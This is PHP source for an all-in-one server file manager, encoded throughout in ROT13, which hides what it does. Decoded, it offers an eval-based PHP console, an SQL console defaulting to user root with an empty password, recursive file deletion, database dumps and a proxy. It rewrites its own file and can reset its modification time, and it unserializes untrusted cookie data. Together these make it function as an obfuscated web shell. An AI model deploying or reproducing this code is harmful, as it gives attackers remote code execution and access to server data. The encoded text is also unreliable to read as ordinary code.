$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
